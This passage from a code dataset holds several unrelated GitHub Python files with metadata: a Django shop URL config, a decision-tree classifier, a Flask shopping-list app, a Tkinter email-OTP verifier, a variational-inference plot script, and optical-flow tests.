1 and b == 1) or (a == 0 and b == 0)) else 0 for (a, b) in zip(predicts, y)]\n# accuracy = (correct.count(1) % len(correct))\n# print(\"accuracy = {0}%\".format(accuracy))\n#\ns", "repo_name": "xyiiinexg3/test", "sub_path": "logic.py", "file_name": "logic.py", "file_ext": "py", "file_size_in_byte": 6269, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.scatter", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 79, "usage_type": "attribute"}, {"api_name": "numpy.random.shuffle", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 87, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 101, "usage_type": "call"}, {"api_name": "time.time", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 149, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 154, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 156, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 178, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 179, "usage_type": "call"}]} {"seq_id": "22609704973", "text": "from django.urls import path\nfrom . import views\n\napp_name = \"shop\"\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"search\", views.search, name=\"search\"),\n path(\"product/\", views.product, name=\"product\"),\n path(\"comment/\", views.comment, name=\"comment\"),\n path(\"purchase/\", views.purchase, name=\"purchase\"),\n path(\"purchases\", views.purchases, name=\"purchases\"),\n]", "repo_name": "SiddhantaGupta/e-commerce", "sub_path": "shop/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 419, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}]} {"seq_id": "10629152374", "text": "import logging as log\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import f1_score\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn.preprocessing import MinMaxScaler, Normalizer, StandardScaler\nfrom sklearn.tree import DecisionTreeClassifier\n\n\nclass DTClassifier:\n \"\"\"\n Decision Tree Classification\n \"\"\"\n\n def __init__(self, train_file: str) -> None:\n \"\"\"\n Decision Tree Classification Constructor\n Loading and preparing data\n :param train_file: Path to the iris data CSV file\n \"\"\"\n log.getLogger().setLevel(log.INFO)\n log.info('Decision Tree Classifier')\n\n # Load dataset\n self.train_file = train_file\n train_data_frame = pd.read_csv(self.train_file)\n train_array = train_data_frame.values\n\n # Shuffle Data\n np.random.shuffle(train_array)\n\n # Extract values to numpy arrays\n self.X = train_array[:, 0:4]\n self.Y = train_array[:, 4]\n\n self.grided_params = []\n self.dtc = None\n\n # Map string labels to numeric\n self.Y = self.map_labels(self.Y)\n\n self.X_train, self.X_test, self.Y_train, self.Y_test = train_test_split(self.X, self.Y, test_size=0.3,\n random_state=0)\n\n def __str__(self) -> None:\n \"\"\"\n Printing data\n :return: None\n \"\"\"\n print(\"Features: {}, Labels: {}\".format(self.X, self.Y))\n\n @staticmethod\n def map_labels(labels: np.array) -> list:\n \"\"\"\n Mapping iris data labels to numeric\n :param labels: numpy array containing labels\n :return: list of mapped values\n \"\"\"\n mapped = [0.0 if x == 'Iris-setosa' else 1.0 if x == 'Iris-versicolor' else 2.0 for x in labels]\n return mapped\n\n def rescale(self) -> None:\n \"\"\"\n Rescaling data in the dataset to [0, 1]\n :return: None\n \"\"\"\n scaler = MinMaxScaler(feature_range=(0, 1))\n self.X_train = scaler.fit_transform(self.X_train)\n self.X_test = scaler.transform(self.X_test)\n\n def normalize(self) -> None:\n \"\"\"\n Normalizing data in the dataset\n :return: None\n \"\"\"\n scaler = Normalizer()\n self.X_train = scaler.fit_transform(self.X_train)\n self.X_test = scaler.transform(self.X_test)\n\n def standardize(self) -> None:\n \"\"\"\n Standardizing data in the dataset\n :return: None\n \"\"\"\n scaler = StandardScaler()\n self.X_train = scaler.fit_transform(self.X_train)\n self.X_test = scaler.transform(self.X_test)\n\n def train_model(self) -> None:\n \"\"\"\n Fitting the model with grid search hyperparameters\n :return: None\n \"\"\"\n self.dtc = DecisionTreeClassifier(max_depth=self.grided_params[0])\n self.dtc.fit(self.X_train, self.Y_train)\n\n def output(self) -> None:\n \"\"\"\n Calculating and logging F1 score\n :return: None\n \"\"\"\n log.info(f\"F1 Score: {f1_score(self.Y_test, self.dtc.predict(self.X_test), average='weighted'):.2f}\")\n\n def grid_search(self) -> None:\n \"\"\"\n Perform grid search for hyperparameters\n :return: None\n \"\"\"\n hyperparam_grid = {'max_depth': np.arange(2, 15)}\n classifier = GridSearchCV(DecisionTreeClassifier(), hyperparam_grid, cv=5)\n classifier.fit(self.X_train, self.Y_train)\n self.grided_params = [classifier.best_estimator_.max_depth]\n", "repo_name": "dwisniewski1993/Machine-Learning", "sub_path": "PYTHON/Decision Tree/DecisionTree/TreeClassifier.py", "file_name": "TreeClassifier.py", "file_ext": "py", "file_size_in_byte": 3566, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 22, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 31, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 68, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.Normalizer", "line_number": 77, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 86, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 95, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 103, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 110, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 111, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 111, "usage_type": "call"}]} {"seq_id": "12616747709", "text": "import os\r\n\r\nfrom flask import Flask\r\nfrom flask import render_template \r\nfrom flask import request\r\nfrom flask import redirect\r\n\r\nfrom flask_sqlalchemy import SQLAlchemy\r\n\r\nproject_dir = os.path.dirname(os.path.abspath(__file__))\r\ndatabase_file = \"sqlite:///{}\".format(os.path.join(project_dir, \"shoppinglistdatabase.db\"))\r\n\r\napp = Flask(__name__)\r\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = database_file\r\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = True\r\n\r\n\r\ndb = SQLAlchemy(app)\r\n\r\n# create new db table \r\nclass ShoppingList(db.Model):\r\n\tfoodList = db.Column(db.String(80), unique=True, nullable=False, primary_key=True)\r\n\t\r\n\t# this allows us to print book title\r\n\tdef __repr__(self):\r\n\t\treturn f\"\" # or .format(self.foodList)\r\n\r\n@app.route('/', methods=[\"GET\", \"POST\"])\r\ndef home():\r\n\tif request.form:\r\n\t\tfood = ShoppingList(foodList=request.form.get(\"item\"))\r\n\t\tdb.session.add(food)\r\n\t\tdb.session.commit()\r\n\tfoods = ShoppingList.query.all()\r\n\treturn render_template(\"home.html\", foods=foods)\r\n\r\n@app.route(\"/update\", methods=[\"POST\"])\r\ndef update():\r\n\tnewItem = request.form.get(\"newItem\")\r\n\toldItem = request.form.get(\"oldItem\")\r\n\tfood = ShoppingList.query.filter_by(foodList=oldItem).first()\r\n\tfood.foodList= newItem\r\n\tdb.session.commit()\r\n\treturn redirect(\"/\")\r\n\r\n@app.route(\"/delete\", methods=[\"POST\"])\r\ndef delete():\r\n\titem = request.form.get(\"item\")\r\n\tfood = ShoppingList.query.filter_by(foodList=item).first()\r\n\tdb.session.delete(food)\r\n\tdb.session.commit()\r\n\treturn redirect(\"/\")\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n", "repo_name": "SinclairPythonAkoto/Shopping-List-CRUD", "sub_path": "shoppingList.py", "file_name": "shoppingList.py", "file_ext": "py", "file_size_in_byte": 1574, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "flask.Flask", "line_number": 13, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 31, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 48, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 48, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 52, "usage_type": "call"}]} {"seq_id": "1800160806", "text": "from tkinter import *\r\nimport random\r\nimport smtplib\r\nfrom PIL import Image, ImageTk\r\n\r\nroot=Tk()\r\nroot.title(\"Email OTP Verification\")\r\nroot.config(bg=\"#583759\")\r\n\r\nrw=550\r\nrh=430\r\nsw=root.winfo_screenwidth()\r\nsh=root.winfo_screenheight()\r\nwpos=(sw/2)-(rw/2)\r\nhpos=(sh/2)-(rh/2)\r\nroot.geometry(\"%dx%d+%d+%d\"%(rw,rh,wpos,hpos))\r\nroot.maxsize(2560,1600)\r\nroot.minsize(650,450)\r\n\r\ndef generate_otp():\r\n return str(random.randint(100000, 999999))\r\n\r\ndef send_email(email, otp):\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.starttls()\r\n server.login(\"Email ID\", \"password\")\r\n message = otp+\" is your One Time Password (OTP) for OTP Verifier application. \"\r\n server.sendmail('Mail for You', email, message)\r\n server.quit()\r\n\r\ndef verify_otp():\r\n user_otp = e2.get()\r\n if user_otp == otp:\r\n L2.config(text='OTP Verified', fg='green')\r\n else:\r\n L2.config(text='OTP Incorrect', fg='red')\r\n\r\ndef send_otp():\r\n global otp\r\n otp = generate_otp()\r\n email = e1.get()\r\n send_email(email, otp)\r\n L1.config(text='OTP sent successfully!')\r\n\r\nac=ImageTk.PhotoImage(file=\"OTPVeri.png\")\r\nadd=Label(image=ac)\r\nadd.place(x=270,y=75)\r\n\r\nl1=Label(root,text=\"Enter Your Email ID:\",width=0,height=0,font=(\"times new roman\",15))\r\nl1.configure(bg=\"#DCD0FF\",fg=\"black\")\r\nl1.place(x=40,y=220)\r\ne1=Entry(root,font=(5))\r\ne1.configure(bg=\"white\",fg=\"Black\")\r\ne1.place(x=250,y=225)\r\nb1=Button(root,text=\"Send OTP\",width=10,height=0,font=(30),command=send_otp)\r\nb1.config(bg=\"white\",fg=\"Blue\")\r\nb1.place(x=500,y=220)\r\nL1=Label(root,text=\" \",width=0,height=0,font=(\"times new roman\",8))\r\nL1.configure(bg=\"#DCD0FF\",fg=\"black\")\r\nL1.place(x=300,y=260)\r\n\r\nl3=Label(root,text=\"Enter 6-digit OTP:\",width=0,height=0,font=(\"times new roman\",15))\r\nl3.configure(bg=\"#DCD0FF\",fg=\"black\")\r\nl3.place(x=40,y=300)\r\ne2=Entry(root,font=(5))\r\ne2.configure(bg=\"white\",fg=\"Black\")\r\ne2.place(x=250,y=305)\r\nb1=Button(root,text=\"Verify OTP\",width=10,height=0,font=(30),command=verify_otp)\r\nb1.config(bg=\"white\",fg=\"Blue\")\r\nb1.place(x=500,y=300)\r\nL2=Label(root,text=\" \",width=0,height=0,font=(\"times new roman\",8))\r\nL2.configure(bg=\"#DCD0FF\",fg=\"black\")\r\nL2.place(x=300,y=340)\r\n\r\nhead = Label(root, text=\"Email OTP Verification\",bg=\"#DCD0FF\", font=('times new roman', 20, \"bold\",\"italic\",\"underline\"))\r\nhead.pack(fill=X)\r\nhead.place(x=190,y=20)\r\n\r\nroot.mainloop()", "repo_name": "kanchan1111/SYNC-Interns", "sub_path": "task2.py", "file_name": "task2.py", "file_ext": "py", "file_size_in_byte": 2373, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.randint", "line_number": 21, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 24, "usage_type": "call"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 45, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 45, "usage_type": "name"}]} {"seq_id": "454921466", "text": "import numpy as np\r\nimport math\r\nimport matplotlib.pyplot as plt\r\n\r\nclass VI:\r\n def _init_(self,N,mu,lamda,a,b,prec,seed):\r\n self.seed=seed\r\n self.N=N\r\n self.mu=mu\r\n self.prec=prec\r\n self.lamda=lamda\r\n self.a=a\r\n self.b=b\r\n self.a_N=[]\r\n self.b_N=[]\r\n self.mu_N=[]\r\n self.lamda_N=[]\r\n \r\n def generate_data(self):\r\n self.data=np.random.normal(self.mu,np.sqrt(self.b/self.a),self.N)\r\n \r\n def calculate(self):\r\n a_0=0\r\n b_0=0\r\n mu_0=0\r\n lamda_0=0\r\n #calculate alpha_N\r\n a_N=a_0+self.N/2\r\n #calculate mu_N\r\n mu_N=(lamda_0*mu_0+np.sum(self.data))/(lamda_0+self.N)\r\n #iteratally calculate b_N and lambda_N\r\n b_N=1\r\n lamda_N=1\r\n old_lamda=-1\r\n iteration=0\r\n self.a_N.append(a_N)\r\n self.b_N.append(b_N)\r\n self.lamda_N.append(lamda_N)\r\n self.mu_N.append(mu_N)\r\n while True:\r\n iteration+=1\r\n #expectation of mu and mu^2\r\n old_lamda=lamda_N\r\n E_mu=mu_N\r\n E_mu_2=mu_N**2 + 1/lamda_N\r\n s=sum([self.data[i]**2+E_mu_2-2*mu_N*self.data[i] for i in range(len(self.data))])/2\r\n b_N=b_0+s+lamda_0*(E_mu+mu_0**2-2*mu_0*mu_N)\r\n lamda_N=(lamda_0+self.N)*a_N/b_N\r\n if abs(old_lamda-lamda_N)/lamda_N<0.01:\r\n break\r\n self.a_N.append(a_N)\r\n self.b_N.append(b_N)\r\n self.lamda_N.append(lamda_N)\r\n self.mu_N.append(mu_N)\r\n\r\n \r\n \r\n def plot(self):\r\n for i in range(len(self.a_N)):\r\n numberpoint = 1000\r\n X, Y = np.meshgrid(np.linspace(self.mu - 0.5, self.mu + 0.5, numberpoint), np.linspace(0.01, 2*self.a/self.b, numberpoint))\r\n Z = self.gamma_pdf(Y, self.a_N[i], self.b_N[i]) * self.normal_pdf(X, self.mu_N[i], 1/self.lamda_N[i])\r\n Z_exact = self.gamma_pdf(Y, self.a, self.b) * self.normal_pdf(X, self.mu, 1/(self.lamda*Y)) * self.D_pdf(self.data, X, Y)\r\n plt.contour(X, Y, Z, levels=5, colors = [\"blue\"])\r\n plt.contour(X, Y, Z_exact, levels=5, colors = [\"red\"])\r\n plt.title(\"exact(red)&infer(blue) mu=\" + str(self.mu) + \", lambda = \" +str(self.lamda) + \", a=\" + str(self.a) + \", b=\" + str(self.b)+\"iter=\"+str(i))\r\n plt.xlabel(\"mu\")\r\n plt.ylabel(\"tau\")\r\n plt.savefig('size='+str(self.N)+'mu='+str(self.mu)+\"lambda=\"+str(self.lamda) + \"a=\" + str(self.a) + \"b=\" + str(self.b)+\"iter\"+str(i)+\".png\")\r\n plt.clf()\r\n def gamma_pdf(self,X,shape, rate):\r\n return rate**shape * X**(shape-1) * np.exp(-rate * X) / math.gamma(shape)\r\n\r\n def normal_pdf(self,X,mu, var):\r\n return 1/np.sqrt(2 * np.pi * var) * np.exp(- ((X - mu)**2) / (2*var))\r\n\r\n def D_pdf(self,D, mu, tau):\r\n N = len(D)\r\n var = 0\r\n for i in range(N):\r\n var += (D[i] - mu)**2\r\n return (tau/(2 * np.pi))**(N/2) * np.exp( -tau * var/2)\r\n\r\n\r\n\r\ns=VI()\r\ns._init_(100,0,0.1,1,10,1,223)\r\ns.generate_data()\r\ns.calculate()\r\ns.plot()", "repo_name": "Yi-Ren1999/DD2434-A2", "sub_path": "2_3.py", "file_name": "2_3.py", "file_ext": "py", "file_size_in_byte": 3134, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.random.normal", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.contour", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.contour", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 72, "usage_type": "call"}, {"api_name": "math.gamma", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 75, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 82, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 82, "usage_type": "call"}]} {"seq_id": "21773117600", "text": "#!/usr/bin/env python\n# vim: set fileencoding=utf-8 :\n# Andre Anjos \n# Fri 21 Sep 2012 09:19:39 CEST\n\n\"\"\"Tests for Liu's Optical Flow estimation python bindings\n\"\"\"\n\nimport os\nimport numpy\nimport nose.tools\nimport pkg_resources\n\nimport bob.io.base\nimport bob.io.image\nimport bob.io.video\n\nfrom . import cg, sor\n\ndef F(name, f):\n \"\"\"Returns the test file on the \"data\" subdirectory\"\"\"\n return pkg_resources.resource_filename(name, os.path.join('data', f))\n\nINPUT_VIDEO = F('bob.io.video', 'test.mov')\n\ndef run_for(sample, method):\n\n refdir = sample.split(os.sep)\n refdir.insert(1, method)\n refdir = os.sep.join(refdir)\n\n f = bob.io.base.HDF5File(F(__name__, refdir + '.hdf5'))\n method = sor.flow if method == 'sor' else cg.flow\n\n # the reference flow field to use\n uv = f.read('uv')\n\n # the values of parameters used for this flow field estimation\n alpha = f.get_attribute('alpha', 'uv')\n ratio = f.get_attribute('ratio', 'uv')\n min_width = int(f.get_attribute('min_width', 'uv'))\n n_inner_fp_iterations = int(f.get_attribute('n_inner_fp_iterations', 'uv'))\n n_outer_fp_iterations = int(f.get_attribute('n_outer_fp_iterations', 'uv'))\n\n if f.has_attribute('n_sor_iterations', 'uv'):\n n_iterations = int(f.get_attribute('n_sor_iterations', 'uv'))\n elif f.has_attribute('n_cg_iterations', 'uv'):\n n_iterations = int(f.get_attribute('n_cg_iterations', 'uv'))\n else:\n n_iterations = int(f.get_attribute('n_iterations', 'uv'))\n\n i1 = bob.io.base.load(F(__name__, '%s1.png' % sample)).astype('float64')/255.\n i2 = bob.io.base.load(F(__name__, '%s2.png' % sample)).astype('float64')/255.\n\n (u, v, wi2) = method(i1, i2, alpha, ratio, min_width,\n n_outer_fp_iterations, n_inner_fp_iterations, n_iterations)\n\n if __import__('platform').architecture()[0] == '32bit':\n #not as precise\n assert numpy.allclose(uv[0,:,:], u, atol=1e-1)\n assert numpy.allclose(uv[1,:,:], v, atol=1e-1)\n else:\n #full precision\n assert numpy.allclose(uv[0,:,:], u)\n assert numpy.allclose(uv[1,:,:], v)\n\n@nose.tools.nottest\ndef test_car_gray_SOR():\n run_for('gray/car', 'sor')\n\ndef test_table_gray_SOR():\n run_for('gray/table', 'sor')\n\ndef test_table_gray_CG():\n run_for('gray/table', 'cg')\n\n@nose.tools.nottest\ndef test_simple_gray_SOR():\n run_for('gray/simple', 'sor')\n\n@nose.tools.nottest\ndef test_complex_gray_SOR():\n run_for('gray/complex', 'sor')\n\n# Note: color + SOR not working for the time being. Ce Liu notified -\n# 13.11.2012\ndef test_car_color_CG():\n run_for('color/car', 'cg')\n\ndef external_run(sample, method):\n from .script import flow\n\n # prepare temporary file\n import tempfile\n (fd, out) = tempfile.mkstemp('.hdf5')\n os.close(fd)\n del fd\n os.unlink(out)\n\n try:\n refdir = sample.split(os.sep)\n refdir.insert(1, method)\n refdir = os.sep.join(refdir)\n\n f = bob.io.base.HDF5File(F(__name__, refdir + '.hdf5'))\n\n # the values of parameters used for this flow field estimation\n alpha = f.get_attribute('alpha', 'uv')\n ratio = f.get_attribute('ratio', 'uv')\n min_width = int(f.get_attribute('min_width', 'uv'))\n n_outer_fp_iterations = int(f.get_attribute('n_outer_fp_iterations', 'uv'))\n n_inner_fp_iterations = int(f.get_attribute('n_inner_fp_iterations', 'uv'))\n\n if f.has_attribute('n_sor_iterations', 'uv'):\n n_iterations = int(f.get_attribute('n_sor_iterations', 'uv'))\n elif f.has_attribute('n_cg_iterations', 'uv'):\n n_iterations = int(f.get_attribute('n_cg_iterations', 'uv'))\n else:\n n_iterations = int(f.get_attribute('n_iterations', 'uv'))\n\n args = ['--verbose', f.get_attribute('method', 'uv').lower()]\n args += [\n '--alpha=%f' % alpha,\n '--ratio=%f' % ratio,\n '--min-width=%d' % min_width,\n '--outer-fp-iterations=%d' % n_outer_fp_iterations,\n '--inner-fp-iterations=%d' % n_inner_fp_iterations,\n '--iterations=%d' % n_iterations,\n ]\n\n args.append(F(__name__, '%s1.png' % sample))\n args.append(F(__name__, '%s2.png' % sample))\n args.append(out)\n nose.tools.eq_(flow.main(args), 0)\n\n #load and check\n uvref = f.read('uv')\n uv = bob.io.base.load(out)\n if __import__('platform').architecture()[0] == '32bit':\n #not as precise\n assert numpy.allclose(uvref, uv, atol=1e-1)\n else:\n #full precision\n assert numpy.allclose(uvref, uv)\n\n finally:\n if os.path.exists(out): os.unlink(out)\n\ndef test_table_gray_sor_script():\n external_run('gray/table', 'sor')\n\n# Note: color + SOR not working for the time being. Ce Liu notified -\n# 13.11.2012\n@nose.tools.nottest\ndef test_table_color_sor_script():\n external_run('gray/table', 'sor')\n\n@nose.tools.nottest\ndef test_simple_gray_cg_script():\n external_run('gray/simple', 'cg')\n\n@nose.tools.nottest\ndef test_rubberwhale_color_cg_script():\n external_run('color/rubberwhale', 'cg')\n\n@nose.tools.nottest\ndef test_video_script():\n from .script import flow\n import tempfile\n N = 3\n\n try:\n args = ['--verbose', '--video-frames=%d' % N, 'sor']\n args.append(INPUT_VIDEO)\n (fd, out) = tempfile.mkstemp('.hdf5')\n os.close(fd)\n del fd\n os.unlink(out)\n args.append(out)\n nose.tools.eq_(flow.main(args), 0)\n\n #load and check\n uv = bob.io.base.load(out)\n nose.tools.eq_( len(uv), N-1 )\n\n finally:\n assert os.path.exists(out)\n os.unlink(out)\n", "repo_name": "bioidiap/bob.ip.optflow.liu", "sub_path": "bob/ip/optflow/liu/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 5347, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pkg_resources.resource_filename", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.sep.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.sep", "line_number": 30, "usage_type": "attribute"}, {"api_name": "bob.io.base.io.base.HDF5File", "line_number": 32, "usage_type": "call"}, {"api_name": "bob.io.base.io", "line_number": 32, "usage_type": "attribute"}, {"api_name": "bob.io.base", "line_number": 32, "usage_type": "name"}, {"api_name": "bob.io.base.io.base.load", "line_number": 52, "usage_type": "call"}, {"api_name": "bob.io.base.io", "line_number": 52, "usage_type": "attribute"}, {"api_name": "bob.io.base", "line_number": 52, "usage_type": "name"}, {"api_name": "bob.io.base.io.base.load", "line_number": 53, "usage_type": "call"}, {"api_name": "bob.io.base.io", "line_number": 53, "usage_type": "attribute"}, {"api_name": "bob.io.base", "line_number": 53, "usage_type": "name"}, {"api_name": "numpy.allclose", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 64, "usage_type": "call"}, 